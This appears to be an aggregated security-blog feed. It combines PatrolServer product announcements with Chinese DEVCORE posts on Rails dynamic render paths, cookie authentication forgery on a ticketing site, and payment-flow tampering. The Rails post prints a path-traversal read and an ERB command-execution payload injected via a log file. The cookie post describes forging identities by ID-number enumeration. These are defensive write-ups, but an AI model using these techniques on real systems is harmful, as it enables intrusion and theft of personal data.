Webhooks are real time events to alert you whenever an event occurs in PatrolServer. For example, your server finished scanning and has new issues. A webhook will be triggered and as a developer, you can now interact based on this new information.

The webhooks are HTTP POST requests, delivered to a destination URL entered in the API settings page. Each time a new event occurs, we’ll perform this action on the URL(s) of your choice.

Let’s take the following use case: new composer package issues have been found on your server. You intercept this with our webhook and automatically run thecomposer update command. Or, what if you’d like to send a message to Slack when your server software suddenly became outdated.

For implementation details, check the API webhooks documentation page.

Awesome! How does this work technically?

As you may have noticed, we make it our daily job to be as secure as possible. Webhooks security makes no difference. We work in three steps:

  1. When an event occurs on PatrolServer, we create an Event object on our server. We then send a JSON message to the webhooks URLs configured in your API settings page, containing a webhook_id and an event_id. No other event information is sent and so no other information can be intercepted.
  2. To get the Event object information,  you will need to fetch it fromhttps://api.patrolserver.com/webhooks/{webhook_id}/events/{event_id} with your API key and secret.
  3. You can then do whatever you want with the information retrieved from the API.

Which events are supported?

Event name Description
webhook.scan_started When our scanner is started both manually by pressing the button or automatically by our daily scan, this event will be sent
webhook.new_server_issues When a new issue has been found by our engine, this event will be triggered. Only new issues that arise will be sent. If you want daily status update of all remaining issues, you need to use the scan_finished event and get the date from our API.
webhook.scan_finished When a manually of automatically scan is done, this event will get sent. You get the server_id, so you can lookup all found issues with our API.

Let’s get started!

Login to PatrolServer and navigate to the API page (click on your email address in the right, top corner and select API).

Enter your webhook URL and you’re all set. Whenever an event occurs, we’ll send a request to that particular URL (or multiple, you can add more than one webhook).

Slack Integration

For the avid Slack users, we’ve made our webhooks compatible with Slack. When you visit the API page, you’ll notice a small Slack icon on the right bottom corner. All it takes is entering an Incoming Webhook URL and our system does the rest.

When you’ve successfully entered the Incoming Webhook URL, your Slack channel will be able to get messages from the PatrolServer Slack Bot as shown below:

Support for npm modules

30 September 2015 at 11:34

Today we’re very happy to announce that from now on, we’ll support npm modules.

We are following the Node.js ecosphere closeby. It is not only a thriving community, but the growth since 2009 has been phenomincal. With npm as main package manager, it is a easy as npm install grunt to install something as awesome as grunt.

Also keeping it secure or updated isn’t hard. Just run npm outdated and you magically see all outdated packages. When the correct semver versions are used, a npm update later, you are updated and secure.

Though many systems have outdated node modules. Not because it is hard. Not because it cause breakage. Just because you don’t manually verify if everything is up to date. We, as PatrolServer, want to make the invisible visible. Notify you when new updates for modules come available. Make sure you have the security updates installed.

How? Run our PatrolServer BashScanner client. It runs read-only on your server and checks current installed software against the newest software. After install you can opt for adding it as cron. And now you will get notified daily if something is outdated.

Combine this with our API and the sky is the limit. For example, with jenkins and automatic testing, the updated node module can be tested and integrated into your codebase, fully automated and fully tested without a touch of a finger.

We are glad to welcome the NPM family to PatrolServer.

Introducing the API

23 September 2015 at 11:34

Great news for all developers out there.

At PatrolServer, it is our mission to make sure no outdated server exists. As of today, we officially open our developers API to everyone who has an account on our service. Current users on free plans are also able to integrate with our API, in short: everyone can integrate with the magical experience of PatrolServer.

{
    "goal": "build cool stuff!"
}

Enter the developer area!

But, an API, why?

The possibilities are endless, top of my head, a few examples:

  • When your node modules become outdated, automatically execute the command npm update and you’ll never have to do it manually again.
  • Integrate with a server management tool like cPanel, and get a live status of your server software versions.
  • Send a text message whenever your server becomes outdated (probably something we could offer in the future).
  • Create your own scanning tool like the one we published on Github, and take full control.
  • Let creativity go crazy.

What with the future?

Look, we believe APIs will become more dynamic and task-oriented in the future. It makes sense to use data from others just because they’re so good at that particular field. Same as us, PatrolServer, strives to be the best at detecting outdated software and informing users about it.

The first major enhancement we got planned is the support of webhooks. Imagine a seamless integration with services like IFTTT, how cool would that be? Very.

We’re very thrilled to see what others will do with our API. Go ahead, it’s yours!

New solutions engine

10 September 2015 at 11:33

Whenever we detect outdated and/or unsupported software on your setup, we provide solutions. These solutions come in the form of a “card”, these so-called solution cards then lead you to a guide through the “Let’s fix it” button. A quick example of a solution card that will pop up when your PHP installation is outdated, and requires an update to a newer version:

Imagine the following situation: You got a server running two Drupal instances, both are outdated and will be detected by the system. Our system then generates those solution cards, but what happens next was not something that kept us busy during the first version of PatrolServer development.

Until now, we have fully rewritten our solutions engine from scratch. The current engine is not only faster, but is written with a dynamic way of thinking (think of a certain “what if”, and we’ll be able to generate a solutions card without digging up the current code and making changes).

Grouped solution cards

I’ll best explain this with an example: You got composer running (yup, we now support composer modules through our bash scanner), and the system detects that 4 out of the 7 modules are outdated (and/or no longer supported). However, updating those requires a single command to run: composer update. We now group cards based on the solution. If several different software versions can be updated with the same solution, only one solution card will be provided. It will look like this:

Cards are aware of the installation paths

The solution cards will now provide you with the detection path (if we were able to detect it, currently only through the bash scanner).

Let’s take our previous example, two Drupal instances on different paths will generate two cards, as you got to update both of them.

Bash Scanner

This is probably the biggest change, we designed a client that we called “bash scanner”. It’s open-sourced on Github. When you install bash scanner on your Linux distro, it will detect your currently installed software together with the versions and sends them over to our server. The server then checks if anything is outdated, and reports back.

For those who feel like creating an account during the installation process of bash scanner, that’s also possible (and is highly advised to make use of our daily scanning process).

Until next time.

PatrolServer 1.0.2

31 August 2015 at 11:33

At PatrolServer, we aim for continued innovation. Today I’m pleased to announce that, with the release of PatrolServer 1.0.2, we’re a step closer to our goal. No server should be left with outdated software.

Past month has been incredible for us here at PatrolServer. We’re a little over one month in public beta, and the response from you all has been overwhelming! As most have noticed, we took the time to listen to you all and implemented the most requested features. We enjoyed all of your participation and feedback! Keep it coming. Together, we can make PatrolServer even greater.

Get a quick overview of all your server statuses

For those who have a large amount of servers in their list, it can get messy to get a quick overview of those who are vulnerable. We implemented a red dot indicator to note the user that this particular server is not safe. This small change required us to work on performance. You’ll see the benefits in better performance!

We now support cPanel

cPanel is a web hosting control panel that provides a graphical interface and automation tools designed to simplify the process of hosting a website. We updated our scanner and now check for cPanel. If your instance becomes outdated, it will also be shown in the solutions list of your server (together with a nice guide on how to update your cPanel instance).

Revamped the pricing page and implemented payments

For those who want a little more, we now fully support payments through Stripe. Our pricing page is now much more clear, and you’ll know perfectly what you get. Check it out at https://patrolserver.com/pricing.

Quick note: Every current user will keep his servers added in our beta period, completely free!

Improved security measurements

By now, it’s pretty clear we give a large priority to security. The sign-in process is now throttled, this means when someone enters wrong credentials several times, that particular user won’t be able to login for some time afterwards. This is mainly another step to guarantee the safety of our users.

As always, keep your feedback coming. We absolutely love it!

Cheers,
The PatrolServer team.

Full changelog:

  • Invitation system (you can now invite your friends and get free servers)
  • Stats page now holds the top 50.000 Alexa results
  • FAQ rewritten with more common questions and answers
  • Mini scanner for BIND (https://scan.patrolserver.com/bind/CVE-2015-5477)
  • Mini scanner for cPanel (https://scan.patrolserver.com/cpanel)
  • SSL / HTTPS only
  • Huge performance boost by using caches
  • Bugfix: the character “-” was stripped from the domain name
  • SEO improvements
  • Bugfix: scrollbar issue on Chrome
  • Bugfix: last server was not visible in Firefox on smaller screens
  • Improved initial loading time
  • New pricing page
  • Pricing mechanism is now operational in the app
  • Login throttling
  • Support for cPanel
  • Quick overview in the server list (vulnerable / safe)
  • Password forgotten feature

As a final note, I’d like to announce several new exciting tools for developers. You will be able to integrate with PatrolServer in the next iteration cycle. We will provide a fully functional developers API together with some other tools. More to come soon, so stay tuned!

WebSummit, here we come!

25 August 2015 at 11:33

The Web Summit conference in Dublin is one of the leading European startup conferences. Each year, they select various startups to participate in their Alpha Program as exhibitioners. The great news is, we’re select to join their program!

From 3 to 5 November 2015, we will be rocking Dublin! Come and say “Hi” to our awesome team!

[已結束] DEVCORE 徵求行政出納人才

18 August 2015 at 16:00

(2015.9.16 已結束徵才)

戴夫寇爾即將要邁入第四個年頭,在過去的歲月中,我們推廣資安的重要性、強調安全開發。我們堅持提供最高品質的滲透測試服務,協助企業找出隱藏的資安威脅。我們也不斷精進技術,期許自己能成為全台灣第一的滲透測試團隊。

感謝這些年來業界朋友對我們的肯定與支持,戴夫寇爾得以茁壯,如今,我們還需要一位行政出納人才,我們渴望您的加入,做為戴夫寇爾穩定的力量。相關細節如下:

工作內容

  • 協助處理庶務性行政工作(接聽來電、收發、接待)
  • 負責合約管理、出缺考勤管理、帳務明細整理
  • 規劃、執行採購庶務
  • 應收應付款項與零用金管理
  • 銀行往來與一般款項收付作業
  • 協助主管執行相關業務

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓
(捷運南京復興站,走路約三分鐘)

條件要求

  • 需有兩年以上相關工作經驗
  • 熟悉試算表,具獨立撰寫試算表公式能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好
  • 您曾經做過行政相關職務,但對行政一職有一套自己的想法
    我們是新創公司,我們歡迎您挑戰既定的行政刻版印象
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題

工作環境

我們注重公司每個人的身心健康,所以:

  • 您會在一個開闊的辦公環境工作 DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅 DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣 DEVCORE DART

員工福利

  • 第一年即有特休(照比例),每年度五天全薪病假
  • 三節、生日禮金
  • 每季員工聚餐
  • 每年員工旅遊
  • 每年員工健檢
  • 勞保、健保、勞退
  • 定期專人按摩服務

薪資待遇

新台幣 32,000 - 40,000 (保證 14 個月)

應徵方式

請來信將您的履歷以 PDF 格式寄到 [email protected],標題格式如下:
[應徵] 行政出納專員 (您的姓名)

我們會在兩週內主動與您聯繫。審查方式會有書審、線上測驗以及面試三個階段。最快將於九月初開始進行第二階段測試,煩請耐心等候。
履歷請控制在兩頁以內,需包含以下內容:

  • 基本資料
  • 學歷
  • 工作經歷
  • 社群活動經驗
  • 特殊事蹟
  • MBTI 職業性格測試結果(請自行尋找線上測驗測試)

請參考範例示意(DOCPAGESPDF)並轉成 PDF。
若您有自信,也可以自由發揮最能呈現您能力的履歷。

附註

由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。


我們選擇優先在部落格公布徵才資訊,是希望您也對安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。如果您除了處理基本事務外還有更多想法,也歡迎與我們聯繫,我們會保留給您發揮的空間與調升薪水。

無論如何,我們都感謝您的來信,期待您的加入!

Wall of Shame – Hosters edition

28 July 2015 at 13:28

Finding a new hosting company for your site is challenging. I mostly use DigitalOcean, therefore I have to take care of my own security. But when third parties ask for a good hosting for their e.g. PHP/Drupal/Wordpress site, I choke. I have to compare pricing, packages, performance and when I tangled all that, I have to check if they are secure. (I don’t want their database on the street or a defaced website).

On my last hunt to find a decent hosting provider, I got fed up. There are so many providers and when checking their software, you sometimes see that their front page has outdated PHP, as in 5.3 old. EOL for 11 months. That really bothers me. How can I rely on their security when their frontpage isn’t even up-to-date.

To warn future customers, I compiled a shame list including all hosting providers having 2 or more outdated software. Outdated, in this case, means being on an unsupported branch. I didn’t count software that are on a supported branch but are not the newest release.


Edit: To clarify, when I say outdated PHP 5.3, I only mean the standalone PHP version. When an Ubuntu version was detected, it was correctly marked as maintained.

The infamy list

Name # Issues Extra information
CoolHandle 4 Outdated WordPress and PHP version. Vulnerable for Freak and Logjam attacks.
Got Web Host 3 Unsupported WordPress version, vulnerable for Logjam and Freak attacks.
Verio 3 Outdated Apache version. Vulnerable for Logjam and Freak attacks.
Webhosting Buzz 2 Outdated PHP and WordPress version.
Crucial Paradigm 2 Outdated Apache version. Vulnerable for Logjam attack.
City Network 2 Outdated Nginx version. Vulnerable for Logjam attack.
FutureQuest 2 Outdated Nginx and PHP version.
InMotion Hosting 2 Outdated PHP version and vulnerable for the Logjam attack.
Lunarpages 2 Outdated PHP version and vulnerable for the Logjam attack.
Mister 2 Outdated PHP and OpenSSH version.
UK2 2 Outdated PHP version. Vulnerable for the Logjam attack.
Vodahost 2 Outdated OpenSSH and PHP version.
A2 Hosting 1 Outdated PHP version.
AN Hosting 1 Outdated PHP version.
BlueFish Web Hosting 1 Outdated Operating system (all packages).
Eleven2 1 Outdated PHP version.
Hostgator 1 Outdated PHP version.
Midphase 1 Outdated PHP version.
Westhost 1 Outdated PHP version.

Check here for the full list of servers (~100) I scanned.

If you are one of the hosting companies above. Contact us when solved to remove you from the list..

Rails 動態樣板路徑的風險

23 July 2015 at 16:00

前言

從安全開發的角度來看,Ruby on Rails 是一套很友善的框架。它從框架層避免了很多過去網站常出現的安全問題,例如使用 ORM 避免大部分的 SQL injection 問題、有內建的 authenticity_token 讓開發者不必特別煩惱 CSRF、從機制面規定開發者使用 Strong Parameter 避免 Mass Assignment、預設轉化危險字元避免 XSS 等…。

就我們過去滲透測試的經驗來說,Rails 網站雖然還是能找到問題,但相對問題較少,而且很少單純因為 Rails 寫法問題拿到系統操作權。而今天要分享的,是在一次滲透測試中比較特別的例子,因為開發者使用了動態樣板路徑(Dynamic Render Paths)的寫法1,最後造成了嚴重的結果。

動態樣板路徑,OWASP 的介紹是這樣的:

In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.

Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.

OWASP 是說,如果你的樣板路徑是動態產生的,而且使用者可以控制那個樣板路徑,那麼使用者就可以讀取到任意樣板,包含管理介面的樣板。這樣的描述感覺還好,但就我們的發現,這其實是更嚴重的直接存取物件問題(Insecure Direct Object References),甚至有機會造成遠端命令執行(Remote Code Execution),怎麼說呢?我們直接看下去。

基本細節

一個動態樣板路徑的寫法如下:

# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
  def index
    page = params[:page] || 'index'
    render page
  end
end

而 index 的樣板內容是這樣:

<!-- app/views/welcome/index.html.erb -->
This is INDEX page.

另外建一個 demo 樣板做示意:

<!-- app/views/welcome/demo.html.erb -->
This is DEMO page.

實際測試,如果我們連到 WelcomeController 的 index action,不帶任何參數會讀取 index 模版。

Rails render index view

如果帶參數 page=demo,會讀取到 demo 模版。

Rails render demo view

所以,如果我們知道管理介面的模版路徑,送出路徑參數就可以讀取到管理介面。這就是 OWASP 所描述的風險,攻擊者得以讀取任意模版。

Rails render admin view

然而,當我們嘗試送出系統絕對路徑例如 /etc/passwd 2,網頁竟然吐出了 /etc/passwd 的內容!這就是之前所述的直接存取物件問題,可以遍歷目錄瀏覽檔案。

Rails render Insecure Direct Object References

進階攻擊

通常在 Rails 環境下能夠讀取任意檔案,攻擊者會優先尋找 secret_token,目的是變造惡意 session cookie 利用 Marshal serialize 的問題做 RCE。然而在本案例系統使用了 Rails 4.1 後的版本,Rails 4.1 預設使用了 JSON-based 的 serializer 防止了之前的 RCE 問題,所以並沒有辦法輕鬆利用。

為了取得系統操作權,我們嘗試尋找其他可利用的地方。在這邊我們發現了該站系統 production.log 中存在 AWS 的上傳紀錄。如下:

# log/production.log
INFO -- : [AWS S3 200 0.041347 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

於是我們可以利用上傳檔案的 Content-Type 內容,將 Embedded Ruby 語句 <%=`#{params[:devcore]}`%> 添加到 production.log 檔案裡面。於是 log 的內容變成了下面這樣:

# log/production.log
INFO -- : [AWS S3 200 0.041347 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

INFO -- : [AWS S3 200 0.040211 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"<%=`#{params[:devcore]}`%>",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_002")

接著,我們就可以利用前面的弱點讀取 production.log 檔案,再帶一個 devcore 參數作為指令,如圖,成功取得系統操作權 :p

Rails render Remote Code Execution

風險原因

一般來說 Rails 開發並不太會這樣寫,但稍微搜尋一下 Github 還是能發現這種寫法存在一些專案中。我想主要原因多半是開發者想要偷懶,然後也可能想說動態樣板路徑頂多就被看到面板的 html,無傷大雅。誰知道就因為這樣導致整個程式碼內容被讀取。

若有一個 action 要動態顯示不同模版的需求,為了避免上述的問題,就辛苦點先用 case…when 去判斷吧。這跟不要用字串組 SQL 語句避免 SQL injection 一樣,這種外面傳進來的參數都要謹慎處理的觀念要內化在開發中。

除了開發者基本上不應該這樣開發外,Rails 本身也有一點點問題,當 render 路徑沒有副檔名,無法判斷什麼格式時,就會直接採用預設的 template handler。

# lib/action_view/template/resolver.rb
def extract_handler_and_format_and_variant(path, default_formats)
  pieces = File.basename(path).split(".")
  pieces.shift

  extension = pieces.pop
  unless extension
    message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
              "but will change to RAW in the future."
    ActiveSupport::Deprecation.warn message
  end

  handler = Template.handler_for_extension(extension)
  format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
  format  &&= Template::Types[format]

  [handler, format, variant]
end

而這裡預設的 handler 是 ERB(見 register_default_template_handler),所以有本篇後面提到的進階攻擊,可以被利用來 RCE。

# lib/action_view/template/handlers.rb
def self.extended(base)
  base.register_default_template_handler :erb, ERB.new
  base.register_template_handler :builder, Builder.new
  base.register_template_handler :raw, Raw.new
  base.register_template_handler :ruby, :source.to_proc
end

慶幸的是,目前 Rails 已經把預設的 template handler 從 ERB 改成 RAW,不會輕易把要 render 的檔案當成 ERB 執行了。詳細的內容請參考這個 commit

結論

Ruby on Rails 能讓開發者較輕鬆的開發出安全的應用程式,然而,若開發者不注意,還是有可能寫出嚴重的漏洞。本文的動態樣板路徑就是這樣一個例子,它不只是 OWASP 所描述的可以存取任意模版而已,它可以遍歷檔案,甚至因為 rails 預設的 template handler 是 ERB,造成遠端命令執行讓攻擊者取得伺服器操作權。

這個例子又再次驗證,框架可以幫助大家快速開發,增加安全度。但唯有良好的安全意識,才是應用程式安全的基石。

註解

  1. Dynamic Render Paths 目前並沒有中文翻譯,因為問題之精髓在於要產生的樣板路徑是可變動的,因此筆者認為動態樣板路徑這個翻譯較為貼切。 

  2. 筆者測試的環境為 Rails 4.1.4,其他 Rails 版本有可能需要用 ../../../../../etc/passwd 跳脫目前目錄。 

談 Cookie 認證安全-以宏碁雲端售票為例

29 January 2015 at 16:00

前言

Cookie 是開發網頁應用程式很常利用的東西,它是為了解決 HTTP stateless 特性但又需要有互動而產生的。開發者想把什麼資訊暫存在用戶瀏覽器都可以透過 Cookie 來完成,只要資訊量不大於約 4KB 的限制就沒問題。在這樣的空間裡,可以放購物車內的暫存商品、可以儲存讀者閱讀記錄以精準推薦產品、當然也可以寫入一些認證資訊讓使用者能保持登入狀態。

Cookie 有一些先天上的缺點,在於資料是儲存在瀏覽器端,而使用者是可以任意修改這些資料的。所以如果網站的使用者身分認證資訊依賴 Cookie,偷偷竄改那些認證資訊,也許有機會能夠欺騙網站,盜用他人身分,今天就來談談這樣的一件事情吧!

問題與回報

會想要聊這個議題,主要是因為最近很紅的宏碁雲端售票系統就是採用 Cookie 認證。上週在註冊該網站時看了一下 Cookie,發現該網站沒有使用 Session 機制的跡象,也就是單純利用 Cookie 的值來認證。

宏碁雲端 cookie

於是開始好奇認證主要的依據是什麼?從圖中可以看到 Cookie 值並不多,猜測該網站大概會是看 USER_ID、USER_ACCOUNT 來判斷你是哪個使用者,稍作測試後會發現有些頁面只依據 USER_ACCOUNT 的值來確認身分,而 USER_ACCOUNT 這個值其實就是使用者的身分證字號,也就是說任何人只要跟網站說我的身分證字號是什麼,網站就會認為你是那個身分證字號的使用者。利用這點設計上的小瑕疵,就可以竊取他人個資,更進階一點,甚至可以用來清空別人的志願單讓其他使用者買不到票。

發現這個問題後,決定通報 VulReport 漏洞回報平台,由該平台統一通知開發商。這是我第一次使用這個平台,對我而言這是一個方便且對整體資安環境有助益的平台。方便點在於,過去常常困擾於發現一些網站有設計上的疏失卻不知該不該通報,如果認識該網站的開發者倒是還好可以直接講,但對於其他不認識的,一來沒有明確窗口,二來礙於工作關係怕被認為是敲竹槓,所以影響不大的漏洞可能就放水流了。這樣放任其實不是一件健康的事情,漏洞在風險就在,有了這樣的回報平台至少可以告訴企業可能存在風險,自己也可以放心通報。事實上,對岸有類似的平台已經行之有年,最顯著的效果,就是對岸網站在 0 day 被揭露後能在一週左右全國修復,而以往可能好多年過去了漏洞還在。這真的能夠加速保護企業和使用者,很高興台灣也有了這樣的平台!

昨天早上收到了平台回報宏碁雲端售票已經修復的消息,既然已經修復且公開了,就順便講解這個問題的細節吧!希望其他開發者可以從中體會到攻擊者的思維,進而做洽當的防禦。

驗證及危害

為了方便驗證解說這個問題,這邊特別用兩個不存在的身分證字號在宏碁雲端售票申請帳號,分別是 Z288252522 和 Z239398899。測試目的是登入帳號 Z288252522 後看看是否能利用上述 Cookie 問題讀取 Z239398899 的個資。

首先登入帳號 Z288252522,找到一個會回傳個資的頁面:
https://www.jody-ticket.com.tw/UTK0196_.aspx

第一個使用者個資

此時的 Cookie 值如下

第一個使用者 cookie

從圖中發現 Cookie 的值其實是經過加密的,這點在上面說明攻擊觀念時刻意沒有提及。把 Cookie 值加密是一種防止別人修改 Cookie 值的方式,攻擊者不知道 Cookie 值的內容,自然也無法修改了。

然而這樣做還是存在些微風險,一旦這個加解密方式被找到,攻擊者就得以修改 Cookie 內容,進而盜用別人身分。在本例中,若想憑著改變 Cookie 盜用別人身分其實可以不用花時間去解加密法,這裡有一個小 trick,我們從觀察中馬上就能發現所有 Cookie 值都是用同一套加密方式,而且其中 USER_EMAIL、USER_NAME 這些還是我們可以修改的值。這也意味著如果我們把姓名改成我們想要加密的身分證字號,伺服器就會回傳一個加密好的值給 USER_NAME。我們直接來修改姓名看看:

修改姓名成身分證字號

當姓名改成目標 Z239398899 時,Cookie 中的 USER_NAME 值就會改變成我們要的加密結果。耶!是一種作業不會寫找出題老師幫忙寫的概念 XD

改變第一個使用者 cookie

接著直接把 USER_NAME 的值拿來用,複製貼上到目標欄位 USER_ACCOUNT 中,之後就是以 Z239398899 的身分來讀取網頁了。我們再讀取一次 https://www.jody-ticket.com.tw/UTK0196_.aspx 看看:

第二個使用者個資

成功看到 Z239398899 的資料了!如此,就可以只憑一個身分證字號讀到他人的地址電話資訊,甚至可以幫別人搶票或取消票券。這個流程寫成程式後只要兩個 request 就可以嘗試登入一個身分證字號,要大量偷取會員個資也是可行的了。

說到這邊,也許有人會質疑要猜中註冊帳戶的身分證字號是有難度的,但其實要列舉出全台灣可能在使用的身分證字號並不困難,再加上宏碁雲端的硬體其實是很不錯的,事實也證明它能夠在短時間處理四千萬個請求系統仍保持穩定,只要攻擊者網路不要卡在自家巷子口,多機器多線程佈下去猜身分證字號效率應該很可觀!

建議原則

這次的問題是兩個弱點的組合攻擊:

  1. Cookie 加密的內容可解也可偽造-透過網站幫忙
  2. 功能缺少權限控管 (Missing Function Level Access Control)-部分頁面只憑身分證字號就可存取個資

宏碁雲端售票為了效率和分流,使用 Cookie 認證是相當合理的設計,所以要解決這個問題,從第二點來解決會是最有效且符合成本的方式,怎麼改呢?推測原本的 SQL 語句應該類似這樣:

select * from USER where account=USER_ACCOUNT

由於 USER_ACCOUNT 是身分證字號,容易窮舉,更嚴謹的作法可以多判斷一個 id,像是這樣:

select * from USER where account=USER_ACCOUNT and id=USER_ID

從只需要告訴伺服器身分證字號就回傳會員資料,到變成需要身分證字號和會員編號同時正確才會回傳會員資料,至此,攻擊者已經很難同時知道別人的會員編號和身分證字號了,因此大大降低了被猜中的機率,增加了安全性。

Cookie 一直以來都是 Web Application Security 領域的兵家必爭之地,攻擊者無不絞盡腦汁想偷到或偽造它,前陣子舉辦的 HITCON GIRLS Web 課堂練習題第一題就是改 Cookie 來偽造身分,足見這個問題有多基本和重要。

關於 Cookie,這裡提供一點原則和概念供大家參考:

首先,Cookie 是存在客戶端的,所以有機會被看到、被竄改、被其他人偷走。基於這些原因,不建議在 Cookie 中儲存機敏資料,或是存放會影響伺服器運作的重要參數,需評估一下這些暫存資料被人家看到或修改是不是沒差,這是儲存的原則。如果權衡後還是要在 Cookie 中存放重要資料,那就需要對值加密避免被讀改,而且要確保加密的強度以及其他人是否能透過其他方法解析修改。最後,Cookie 最常被偷走的方式是透過 JavaScript,所以建議在重要的 Cookie 加上 HttpOnly flag 能有效的降低被偷走的機率。也來試著整理一下這一小段的重點:

  • 機敏資料不要存
  • 加密資訊不可少
  • 設定標頭不怕駭
  • 一次搞定沒煩惱

沒想到信手拈來就是三不一沒有,前面再加個勾勾,感覺好像很厲害呢!

結論

由於 Cookie 存在瀏覽器端,有被竄改的可能,所以如果網站使用 Cookie 認證就會有一些安全上的風險。本篇就以宏碁雲端售票為例,說明這種小疏忽可能會造成被盜用帳號的風險。開發者在面對使用者可以改變的變數一定要特別小心處理,做好該有的防護,還是老話一句:使用者傳來的資料皆不可信!只要掌握這個原則,開發出來的產品就能夠少很多很多風險!

行文至此,預期中是要再推廣一下漏洞回報平台,順便稱讚宏碁非常重視資安,修復快速,是良好的正循環。不過前兩天看到一些關於宏碁雲端售票的新聞時,上線發現此弱點仍未修復,這好像真的有點不應該,畢竟官方上週已經接收到通報,要修復這個弱點也只需一行判斷式…。能理解這次的弱點在短時間開發過程中很難被注意到,對於這樣一個一週不眠不休完成的售票網站,我其實也是給予滿高的評價,但如果官方能再增兩分對資安事件的重視,相信下次定能以滿分之姿呈現在使用者面前!

從寬宏售票談資安

8 January 2015 at 16:00

戴夫寇爾部落格停載了快兩個月,非常抱歉,讓各位常常催稿的朋友們久等了 <(_ _)>
今天就乘著全臺瘋買票的浪頭,來談談一些常被忽略的資訊安全小概念吧!

江蕙引退演唱會一票難求,隔岸觀了兩天火, 也忍不住想要當個鍵盤孝子。無奈運氣不好一直連不上主機,『Service Unavailable』畫面看膩了,只好看看暫存頁面的網頁原始碼,不看還好,一看我驚呆了!

寬宏售票資訊洩漏 (特別聲明:此流程中並無任何攻擊行為,該頁面是正常購票流程中出現的網頁)

在結帳網頁原始碼當中竟然看到了疑似資料庫密碼 SqlPassWord 在表單裡面!這件事從資安的角度來看,除了表面上洩漏了資料庫密碼之外,還有兩個我想講很久但苦無機會談的資安議題,分別是金流串接常見的弱點以及駭客的心理。藉著寬宏售票網頁洩漏密碼這件事情,順道與大家分享分享吧!

談台灣網站的金流串接

在本篇的例子中,寬宏售票網頁表單出現了疑似資料庫密碼,這狀況就好像去銀行繳款,櫃檯給你一把鑰匙跟你說:『這是金庫的鑰匙,麻煩你到對面那個櫃檯把鑰匙給服務員,請他幫你把錢放進金庫裡面』。
是不是有點多此一舉,銀行本來就會有一份鑰匙,幹嘛要請你(瀏覽器)幫忙轉交?
如果今天壞人拿到了這把鑰匙,是不是只要繞過保全的視線,就可以打開金庫為所欲為?

key_to_success
(Photo by StockMonkeys.com)

類似的狀況也滿常發生在電子商務與第三方金流服務的串接上。
許多電子商務網站專注於商務,選擇將付款步驟委託第三方金流服務處理,一般常見的流程是這樣的:

  1. 電子商務訂單成立,電子商務網站給你一張單子,上面寫著:『訂單 123 號, 金額 456 元』,請你將單子轉交給第三方金流服務網站並繳款。
  2. 金流服務網站依據你給它的單據收取 456 元,並且跟電子商務網站說:『訂單 123 已成功繳款,款項 456 元』。
  3. 最後電子商務網站告訴你訂單 123 號購買成功。

如果現在有一個惡意使用者,他做了以下惡搞:

  1. 在步驟一把電子商務網站給的單子修改成:『訂單 123 號,金額 20 元』(原價是 456 元)
  2. 金流服務商依據單據跟惡意使用者收取 20 元費用,並且告訴電子商務網站:『訂單 123 已成功繳款,款項 20 元』
  3. 最後電子商務網站看到『訂單 123 已成功繳款』的訊息,就告訴使用者說訂單 123 購買成功。也就是惡意使用者只花取 20 元就購買到原價 456 元的產品。

(聲明:為求精簡,電子商務與金流服務串接流程有經過簡化,有抓到精髓就好XD)

不管是寬宏售票出現密碼欄位還是上例電子商務網站的金流串接,最大的問題在於他們都相信使用者會正常幫忙轉交,即靠客戶端的瀏覽器來轉址傳值。要知道,利用瀏覽器轉址傳值是不可靠的,一來,重要的資訊就會被客戶知道,例如寬宏售票疑似洩漏資料庫密碼;二來中間的內容可以修改,例如修改訂單金額。另外,可能有人會發現到,在惡意使用者的步驟三裡面,電子商務網站竟然沒有確認付款金額是否正確,沒錯,這是會發生的事情,在過去經驗中,像這樣沒有比對付款金額的台灣系統比例還不少,這些疏忽都會造成企業很多成本損失,不可不注意。

台灣目前還滿常見到這種根據使用者傳來單據來收費的狀況,導致單據可竄改造成企業損失,某部分原因可以歸咎到早期第三方金流的範例都是這樣寫的,工程師也就直接延續這樣的寫法直到現在。以金流串接為例,比較好的處理方式有下面兩種:

  • 在單據上加入防偽標記,讓惡意使用者無法輕易竄改單據。在技術上作法有點類似 OAuth 在 Signing Request 時的作法,在請求中多送一組檢查碼,透過 one-way hash 的方式檢查網址是否有被修改,目前大部分金流商都有提供相似解法。
  • 單據不再給使用者轉交,電子商務直接傳單子『訂單 123 號,金額 20 元』給金流服務網站,並請使用者直接去專屬的金流商窗口繳費即可。在技術上就是將瀏覽器轉址傳值的動作全部變成伺服器對伺服器溝通處理掉。

以上兩種作法,將可以有效防止惡意使用者修改訂單金額。此外,建議電子商務網站在收到金流回傳的付款資訊後,能夠比對收取款項與訂單款項是否相符,如此雙重檢查,能大大避免惡意行為,減少企業處理惡意金流問題的成本。

談駭客心理

